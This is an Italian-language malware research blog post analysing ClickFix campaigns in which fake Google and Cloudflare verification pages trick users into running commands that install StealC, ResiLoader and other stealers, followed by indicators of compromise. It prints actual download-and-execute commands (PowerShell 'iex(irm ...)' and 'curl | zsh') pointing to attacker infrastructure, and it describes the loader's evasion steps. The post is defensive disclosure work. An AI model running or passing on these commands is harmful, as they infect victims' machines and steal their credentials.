Pagine di verifica false di Google e Cloudflare diffondono diverse famiglie di malware

| 2 luglio 2026
Pagine di verifica false di Google e Cloudflare diffondono diverse famiglie di malware

Gli attacchi ClickFix, che inducono gli utenti a eseguire autonomamente comandi dannosi, continuano a evolversi. Questa ultima campagna utilizza pagine di verifica fasulle di Google e Cloudflare per convincere le vittime a infettare i propri dispositivi.

Un solo errore può portare all'installazione di malware in grado di rubare password e altri dati sensibili, consentire agli hacker di accedere in remoto al tuo computer o scaricare ulteriore malware che può assumere il pieno controllo del tuo sistema.

Abbiamo scoperto diverse campagne che utilizzavano la stessa infrastruttura per diffondere malware, tra cui HijackLoader, StealC, Remus, Amatera Stealer, CastleLoader, NetSupport e uno stealer basato su Rust.

In una catena di infezione, una versione trojanizzata dell’app di messaggistica legittima Franz scarica un loader finora sconosciuto, denominato ResiLoader, che disattiva il software di sicurezza prima di distribuire l’infostealer StealC.

Prima di addentrarci nei dettagli tecnici, ecco come evitare di diventare la prossima vittima.

Come stare al sicuro

Gli attacchi ClickFix puntano a convincerti a eseguire tu stesso dei comandi. L'approccio più sicuro è semplice:

  • Non copiare né eseguire mai comandi da un sito web, a meno che non si stiano seguendo le istruzioni fornite da una fonte affidabile e si comprenda esattamente cosa fa il comando.
  • Diffidate delle pagine di verifica. Google, Cloudflare, Microsoft e altri servizi legittimi non vi chiederanno mai di incollare comandi PowerShell in Windows dimostrare che siete umani o Windows risolvere un problema.
  • Non lasciarti mettere sotto pressione dall'urgenza. Le pagine di verifica fasulle spesso utilizzano timer con conto alla rovescia, contatori di visitatori o avvisi per spingerti ad agire in fretta.
  • Mantieni aggiornato il tuo software di sicurezza. La protezione in tempo reale e quella per il web possono aiutarti a bloccare i siti web dannosi prima ancora che tu vi acceda.
  • Mettete in discussione le istruzioni tecniche inattese. Se un sito web vi chiede di aprire PowerShell, il Prompt dei comandi o il Terminale, fermatevi e verificate le istruzioni tramite i canali di assistenza ufficiali dell’azienda.

Consiglio da esperto: Malwarebytes Browser Guard può avvisarti quando un sito web tenta di copiare contenuti negli appunti: un trucco comunemente utilizzato dalle pagine ClickFix.

Analisi tecnica

Le campagne analizzate in questa ricerca sono attive almeno dalla fine del 2025 e utilizzano una serie di pagine false di Google e Cloudflare per diffondere malware. Sebbene le esche differiscano tra loro, condividono in gran parte la stessa infrastruttura e la stessa catena di infezione, con gli autori degli attacchi che testano continuamente nuovi metodi di diffusione e nuovi payload.

Esche diverse, un unico obiettivo

La maggior parte delle campagne presenta diverse caratteristiche in comune:

  • Utilizzo della cartella C:\ProgramData\Zooms per estrarre le fasi successive
  • Comandi ClickFix di PowerShell che seguono schemi simili
  • Utilizzo dei bucket R2 di Cloudflare per la distribuzione dei payload
  • Indirizzi IP ospitati da ASN Dedik Services Limited
  • Risposte HTML contenenti esclusivamente la frase "hehe"

Questi indicatori sono cambiati nel corso del tempo, pertanto non compaiono in tutte le catene di infezione. Le campagne continuano a evolversi, con l’introduzione regolare di nuovi payload e metodi di distribuzione. Ad esempio, in alcuni casi, l’indirizzo IP viene utilizzato direttamente per la distribuzione del payload al posto dei bucket.

Il comando finale copiato dall'utente di solito segue questo schema: 

powershell -c “iex(irm ‘{IP}:{Port}/{Random Path}’ -UseBasicParsing)”

La porta e il percorso non sono sempre presenti nei casi analizzati; le porte sono casuali, ma alcune di quelle utilizzate sono: 6600, 9900, 5506, 7895, 7493, 149, 8442. 

Per eseguire questi comandi vengono utilizzati diversi modelli relativi a ClickFix, principalmente legati a Google e Cloudflare. Abbiamo inoltre rilevato che, in alcuni casi, il comando PowerShell è stato distribuito tramite il framework IClickFix. 

Abbiamo osservato che queste campagne ClickFix venivano diffuse tramite:

  • Vecchi siti web che probabilmente sono scaduti e sono stati riacquistati dal/dai responsabile/i.  
  • CloudFlare Pages (.pages.dev domini). 
  • Siti web compromessi. 
  • Servizi fasulli, ad esempio quelli relativi ai codici QR o all'accesso a file web. 

Google ClickFix attira gli utenti 

Gli autori di queste campagne utilizzano varie pagine HTML e kit legati a Google. 

Una delle esche simula la procedura di verifica reCAPTCHA di Google. Le pagine sono ospitate su URL casuali che mostrano contenuti falsi o dannosi. Questi domini sono spesso registrazioni di vecchia data che recentemente hanno iniziato a puntare a nuovi indirizzi IP, il che suggerisce che siano stati riutilizzati per questa campagna.

Alcune di queste pagine contengono parametri URL quali “zoneid”, “cost”, “device”, “country” e “clickid”, ad esempio: 

  • /conf/captcha.html?zoneid=10420852 
  • /wincapbot/nobot.html 
  • /xmr/trkuste.php?zone=5327134 
  • bless.php?zoneid=10327549&clickid=1091581084925173761&cost=0.000000&country=US&device=desktop 
Pagina ClickFix "Verifica manuale richiesta"
Pagina ClickFix "Verifica manuale richiesta"
Pagina ClickFix “Verifica manuale richiesta”

In questo caso, le funzioni relative a ClickFix sono implementate nella classe CustomCaptcha. Il comando è presente in chiaro, senza alcuna offuscamento. 

Metodo “StartVerification” nella classe “CustomCaptcha”
Metodo “StartVerification” nella classe “CustomCaptcha”

Un altro metodo di distribuzione utilizza Cloudflare Pages ospitato su .pages.dev sottodomini.

Pagina ClickFix "Verifica di essere un utente umano"
Pagina ClickFix “Verifica di essere un utente umano”

In questo caso, la pagina HTML viene offuscata dichiarando diverse variabili e applicando loro l'operazione XOR. Il codice deoffuscato si chiama SECURITY GATEWAY ed è composto dalle funzioni GatewayRuntime, RemoteVault, BeaconDispatcher, Clipboard, TokenController, e PanelController.  

Il codice consente agli autori dell'attacco di recuperare il comando sia da remoto che localmente. In questo esempio, il comando PowerShell dannoso è memorizzato localmente.

Il comando PowerShell dichiarato nel codice “SECURITY GATEWAY”
Il comando PowerShell dichiarato nel codice “SECURITY GATEWAY”

Abbiamo inoltre scoperto che alcuni di questi domini hanno diffuso in passato un’altra esca, in questo caso associata a un accesso non autorizzato a Google. Questa esca di ClickFix chiede all’utente di copiare e incollare il comando dannoso per impostare il proprio dispositivo come principale. 

Pagina ClickFix “Accedi con un token attendibile”
Pagina ClickFix “Accedi con un token attendibile”

L'aspetto interessante di questo kit ClickFix è che prevede un "meccanismo di approvazione", come descritto nei commenti, e che l'autore dell'attacco deve selezionare manualmente dal pannello il comando che l'utente dovrà eseguire. 

Commenti sul kit e sul “processo di approvazione”
Commenti sul kit e sul “processo di approvazione”
Commenti sul kit e sul “processo di approvazione”

Nelle campagne più recenti, abbiamo individuato un'esca ClickFix legata a Google Meet, che richiede di copiare e incollare un comando dannoso per risolvere problemi audio. 

L'esca "ripara il driver audio" di Meet ClickFix
L'esca "ripara il driver audio" di Google Meet su ClickFix

Nei casi analizzati, l'endpoint /api/driver-clipboard.php ha restituito il seguente comando dannoso:

{"mac":"curl -kfsSL $(echo '…'|base64 -D)|zsh","windows":"powershell -c \"iex(irm '151.240.151.126/rRlmZcaaZfAE3U2BaH' -UseBasicParsing)\""} 

Altre esche 

Gli autori di questa campagna utilizzano vari kit e esche, per lo più legati a Google. Tuttavia, abbiamo individuato altre esche che copiavano comandi relativi alla stessa infrastruttura. 

Gli autori di queste campagne compromettono inoltre diversi siti web utilizzando vari modelli legati all’esca CloudFlare ClickFix

Pagine ClickFix con il messaggio “Verifica di essere un utente umano”
Pagine ClickFix con il messaggio “Verifica di essere un utente umano”
Pagine ClickFix con il messaggio “Verifica di essere un utente umano”

Abbiamo individuato diversi modelli utilizzati per le pagine CloudFlare. Nei casi analizzati, il comando è presente in chiaro o, in alcuni casi, offuscato. 

Alcune delle pagine HTML di CloudFlare ClickFix 
Alcune delle pagine HTML di CloudFlare ClickFix 
Alcune delle pagine HTML di CloudFlare ClickFix 
Alcune delle pagine HTML di CloudFlare ClickFix 

Abbiamo inoltre individuato alcuni siti web di servizi fasulli creati appositamente. Ad esempio, il sito “My QR Generator” mostra un codice QR offuscato e chiede all’utente di eseguire un comando PowerShell per verificare che non si tratti di un robot. 

Pagina promozionale “QR Code” di ClickFix 
Pagina promozionale “QR Code” di ClickFix 

In questo caso il comando è codificato in base-64: 

Comando PowerShell decodificato
Comando PowerShell decodificato

Programma per il download di PowerShell 

Il comando ClickFix eseguito dall'utente decodifica uno script e lo salva nella cartella Temp con il nome tmp{4 char}.tmp.ps1

Abbiamo individuato diverse varianti di questo script, ma le versioni più recenti funzionano nel modo seguente: 

  • Crea la cartella C:\ProgramData\Zooms
  • Download fase successiva da un bucket di CloudFlare e salvala in C:\ProgramData\Zooms. In alcune varianti dello script, la fase successiva viene scaricata direttamente da un indirizzo IP. 
  • Invia le informazioni relative al computer compromesso a http://{IP}/dl-callback. In alcune varianti del copione, questa parte non è presente. 
Script PowerShell eliminato
Script PowerShell eliminato

Gli autori di queste campagne utilizzano un gran numero di payload diversi. Le campagne diffondono un’ampia varietà di payload. La tabella sottostante riassume alcuni dei nomi dei file scaricati e il malware che installano. In molti dei casi analizzati, il payload finale è stato distribuito tramite DLL Hijacking, come vedremo più avanti anche nel caso dello stealer StealC. 

File distribuito Malware diffuso 
libEGL.zip, Safe-1.zip App Electron infettata da un trojan, ResiLoader e StealC 
Test.msi Deno Loader e PowerShell Stealer 
arworks.zip Amatera Stealer 
water-night.zip Remus Stealer 
Setup.msi, Invintrum_first.msi NetSupport 
traffic1.msi CastleLoader 
ibrowser.exe Il ladro di ruggine 

Abbiamo analizzato un nuovo loader denominato ResiLoader che, in ultima analisi, distribuisce StealC. Abbiamo inoltre rilevato che, nelle campagne più recenti, l’autore della minaccia ha iniziato a utilizzare Deno per distribuire, nella fase finale, uno stealer sviluppato in PowerShell; l’analisi di questa catena di infezione potrebbe essere oggetto di un futuro articolo sul blog. 

L'app Electron infettata da un trojan scarica ResiLoader

In questo caso, il file ZIP è stato scaricato da: 

  • pub-7080e0c20a0e47ca95a476869c532367.r2[.]dev/libEGL.zip 

Dopo l'estrazione in: 

  • C:\ProgramData\Zooms\libEGL.zip_ext

Il file zip contiene una versione infettata da un trojan dell'app di messaggistica open source denominata “Franz”: 

L'app "Franz", infettata da un trojan, utilizzata per download
L'app “Franz”, infettata da un trojan, utilizzata per download

Il codice dannoso è implementato nel index.js file: 

Il codice offuscato nell'app contenente una backdoor
Il codice offuscato nell'app contenente una backdoor

Il programma di download esegue le seguenti operazioni: 

  • Decodifica le stringhe con la funzione HC()
  • Letture readme.txt, prevede una chiave di campagna del tipo AAAA-BBBB, lo restituisce come array di token. In questo caso il nome è resiloader-1 e per questo chiamiamo “ResiLoader” la DLL scaricata. 
  • Letture %APPDATA%\setup.txt; se assente, genera una stringa casuale di 8 caratteri e la memorizza.  
  • Ottenere la persistenza utilizzando app.setLoginItemSettings
  • Invia una richiesta POST a https[:]//completstep[.]com/api/ e elaborare la risposta JSON
    • Se task.e se è presente, viene eseguito eval(task.e); consente all'autore dell'attacco di eseguire codice JavaScript arbitrario. 
    • Se task.files se è presente, creare %TEMP%\<Date.now()>\, decodificare e scrivere ogni file; se il nome di un file termina con .exe, eseguirlo tramite child_process.exec

Nel nostro caso abbiamo ricevuto un file ZIP che esegue il dirottamento della DLL di ssh-add.exe

{"task":{"name":"JUNE18USY","files":{ 

   "msys-2.0.dll":"<base64>", 

   "msys-crypto-3.dll":"<base64>", 

   "msys-gcc_s-seh-1.dll":"<base64>", 

   "ssh-add.exe":"<base64>" }}}

Successivamente, il file eseguibile è stato lanciato con: 

C:\WINDOWS\system32\cmd.exe /d /s /c ""C:\Users\{user}\AppData\Local\Temp\1782122017599\ssh-add.exe"" 

ResiLoader

Il msys-crypto-3.dll è un codice offuscato .NET NativeAOT loader che mette in atto una strategia di elusione dei sistemi antivirus ed EDR utilizzando una tecnica BYOD, ottiene la persistenza e, infine, carica lo stealer StealC. Non abbiamo trovato un’attribuzione specifica per questo loader e quindi lo abbiamo denominato “ResiLoader” sulla base della stringa presente in precedenti readme.txt

Il loader contiene diverse stringhe, alcune in chiaro e altre crittografate. Una volta decrittografate le stringhe, è possibile avere un quadro completo delle funzionalità di ResiLoader. 

MANPO: ReadModule len=... 

MANPO: magicOffset=...
… 

PERS: FAIL all file copies failed, skipping run key 

PERS: FAIL both HKLM and HKCU Run key writes failed 
… 

RUNPE: CreateProcess failed 

RUNPE: PEB patched 

RUNPE: VirtualAllocEx failed 
… 

POST: RunForever exited (unexpected) 

POST: entering RunForever 

POST: hollow=

Il caricatore esegue le seguenti operazioni: 

  • Estrai il blob codificato contenente due payload leggendo il marcatore AtLorenBase e la lunghezza del blob codificato. Successivamente, decodifica il blob e decrittografa il driver pcdhost.sys (OPSWAT  
    (AppRemover Driver) e il payload StealC utilizzando un algoritmo di decrittografia personalizzato.  
  • Terminare più di 140 processi correlati alle attività EDR/AV utilizzando il driver disattivato. 
  • Eseguire il bypass dell'UAC tramite ICMLuaUtil Interfaccia COM avanzata. 
  • Crea una cartella C:\ProgramData\Google Update, copiandosi; aggiungendo la persistenza tramite la chiave di registro RUN 
  • cmd /c start "" /D "C:\ProgramData\Google Update" ssh-add.exe 

Alla fine, il loader esegue l'hollowing del processo ServiceModelReg.exe per eseguire lo stealer StealC. 

CIO 

Hash 

72907d0ca3258365838626f6a8d993a6: DLL di ResiLoader 

0234E3188F2883A438B3F2BEAB7A78B2: StealC 

6a9ac6b3fff7b695dbd4df6ff7f6c516: Remus 

206ce339febca0c3bcc850f42595fc63: Amatera Stealer 

eee416efcb1e33f220cdb4b05496a07a: NetSupport RAT 

b8d53740024d126cb55f83854335a4ab: Rust Stealer 

Domini 

Distribuisci le pagine di ClickFix: 

onegeekworld[.]com 

thefirmos[.]com 

antibotv3[.]com 

centralwildcats[.]com 

cloud.antibotv3[.]com 

cloudautosolutions[.]com 

sunseekersupply[.]com 

123clocks[.]com 

orcanegames[.]com 

rwmonitoring[.]com 

100furniture[.]com 

nepalcharchaa[.]com 

p-floribunds.pages[.]dev 

pg-altirade2.pages[.]dev 

pg-cordivant-m6.pages[.]dev 

g-luminence.pages[.]dev 

generator-qrcode[.]online 

regdev-google[.]com 

khosla[.]capital 

eorgke09054909j[.]com 

dropboxi[.]com 

Bucket CloudFlare utilizzati per la distribuzione del payload

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-620528e2dc874e16937673265aa23d39.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

pub-9682d5896df841679c5a17eb41273f89.r2[.]dev 

pub-18d99d0d18b94e85824c1cc4d5b5c637.r2[.]dev 

pub-0170eabb9df346bd822f863b7c3946e3.r2[.]dev 

pub-4ed7b8ecee744dea930d74ba4ac74285.r2[.]dev 

unitedstateverif[.]com: distribuzione del carico utile 

bigflaredefence[.]com: distribuzione del carico utile 

popularcard[.]shop: Rust Stealer C2 

xzz[.]proxygrid[.]cc: Amatera Stealer C2 

completstep[.]com: Caricatore C2 

eventlogerps1[.]ink: Deno Loader  

be231ro963[.]com: Deno Loader  

IP 

Indirizzo IP utilizzato per la distribuzione del payload

151.240.151[.]126 

85.239.149[.]16 

85.239.149[.]40 

93.152.224[.]29 

151.240.151[.]46 

93.152.224[.]167 

85.239.149[.]78 

192.69.195[.]131 

135.181.171[.]40 

94.26.83[.]206 

91.92.34[.]128 

85.239.144[.]31 

93.152.224[.]39 

94.26.90[.]112 

146.19.248[.]120: StealC C2 

Ringraziamenti  

Informazioni sull'autore

Gabriele è un ingegnere specializzato nella ricerca sul malware che ama combattere il malware. Quando non è impegnato in questo, lo si può trovare a godersi la natura, l'arte e gli animali.